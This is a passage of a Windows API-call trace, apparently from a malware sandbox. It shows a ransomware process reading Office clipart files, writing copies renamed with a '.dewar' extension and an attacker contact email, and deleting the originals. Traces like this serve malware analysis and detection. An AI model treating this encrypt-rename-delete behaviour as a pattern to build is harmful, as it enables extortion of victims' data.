lpFileSize=0x319faa8*=5016) returned 1 [0284.464] CloseHandle (hObject=0x1e0) returned 1 [0284.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0284.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0284.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.466] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.466] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0284.485] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1398, lpOverlapped=0x0) returned 1 [0284.491] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x13a0, lpOverlapped=0x0) returned 1 [0284.495] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0284.495] CloseHandle (hObject=0x1e0) returned 1 [0284.495] CloseHandle (hObject=0x1f8) returned 1 [0284.498] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0 [0284.498] SetEvent (hEvent=0x118) returned 1 [0284.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.742] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4390) returned 1 [0284.743] CloseHandle (hObject=0x1e0) returned 1 [0284.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0284.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0284.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.744] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.744] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0284.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0285.321] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1126, lpOverlapped=0x0) returned 1 [0285.632] WriteFile (in: hFile=0x140, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1130, lpOverlapped=0x0) returned 1 [0285.636] WriteFile (in: hFile=0x140, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0285.636] CloseHandle (hObject=0x1e0) returned 1 [0285.637] CloseHandle (hObject=0x140) returned 1 [0285.642] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0 [0285.642] SetEvent (hEvent=0x118) returned 1 [0285.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0286.221] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3026) returned 1 [0286.221] CloseHandle (hObject=0x1f8) returned 1 [0286.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0286.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0286.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0286.223] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.223] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0286.224] ReadFile (in: hFile=0x1f8, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0xbd2, lpOverlapped=0x0) returned 1 [0286.228] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xbe0, lpOverlapped=0x0) returned 1 [0286.231] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0286.231] CloseHandle (hObject=0x1f8) returned 1 [0286.231] CloseHandle (hObject=0x128) returned 1 [0286.232] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0 [0286.232] SetEvent (hEvent=0x118) returned 1 [0286.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0286.235] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=10832) returned 1 [0286.236] CloseHandle (hObject=0x128) returned 1 [0286.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0286.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0286.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0286.237] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.284] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0286.285] ReadFile (in: hFile=0x128, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x2a50, lpOverlapped=0x0) returned 1 [0286.505] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x2a60, lpOverlapped=0x0) returned 1 [0286.508] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0286.508] CloseHandle (hObject=0x128) returned 1 [0286.508] CloseHandle (hObject=0x1f8) returned 1 [0286.523] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0 [0286.524] SetEvent (hEvent=0x118) returned 1 [0286.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0286.525] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7072) returned 1 [0286.525] CloseHandle (hObject=0x128) returned 1 [0286.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0286.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0286.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0286.574] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.574] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0286.575] ReadFile (in: hFile=0x128, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1ba0, lpOverlapped=0x0) returned 1 [0286.586] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1bb0, lpOverlapped=0x0) returned 1 [0286.599] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0286.599] CloseHandle (hObject=0x128) returned 1 [0286.601] CloseHandle (hObject=0x1b0) returned 1 [0286.603] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0 [0286.603] SetEvent (hEvent=0x118) returned 1 [0286.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0286.604] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1596) returned 1 [0286.604] CloseHandle (hObject=0x1b0) returned 1 [0286.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0286.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0286.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0286.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0286.606] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.606] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0286.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0286.607] ReadFile (in: hFile=0x1b0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x63c, lpOverlapped=0x0) returned 1 [0286.794] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x640, lpOverlapped=0x0) returned 1 [0286.797] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0286.797] CloseHandle (hObject=0x1b0) returned 1 [0286.798] CloseHandle (hObject=0x128) returned 1 [0286.800] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0 [0286.800] SetEvent (hEvent=0x118) returned 1 [0286.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0287.276] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7968) returned 1 [0287.276] CloseHandle (hObject=0x1f8) returned 1 [0287.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0287.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0287.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0287.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0287.288] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.289] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0287.289] ReadFile (in: hFile=0x1f8, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1f20, lpOverlapped=0x0) returned 1 [0287.310] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1f30, lpOverlapped=0x0) returned 1 [0287.313] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0287.315] CloseHandle (hObject=0x1f8) returned 1 [0287.315] CloseHandle (hObject=0x128) returned 1 [0287.316] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0 [0287.316] SetEvent (hEvent=0x118) returned 1 [0287.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0287.326] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=26332) returned 1 [0287.326] CloseHandle (hObject=0x128) returned 1 [0287.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0287.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0287.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0287.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0287.331] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, 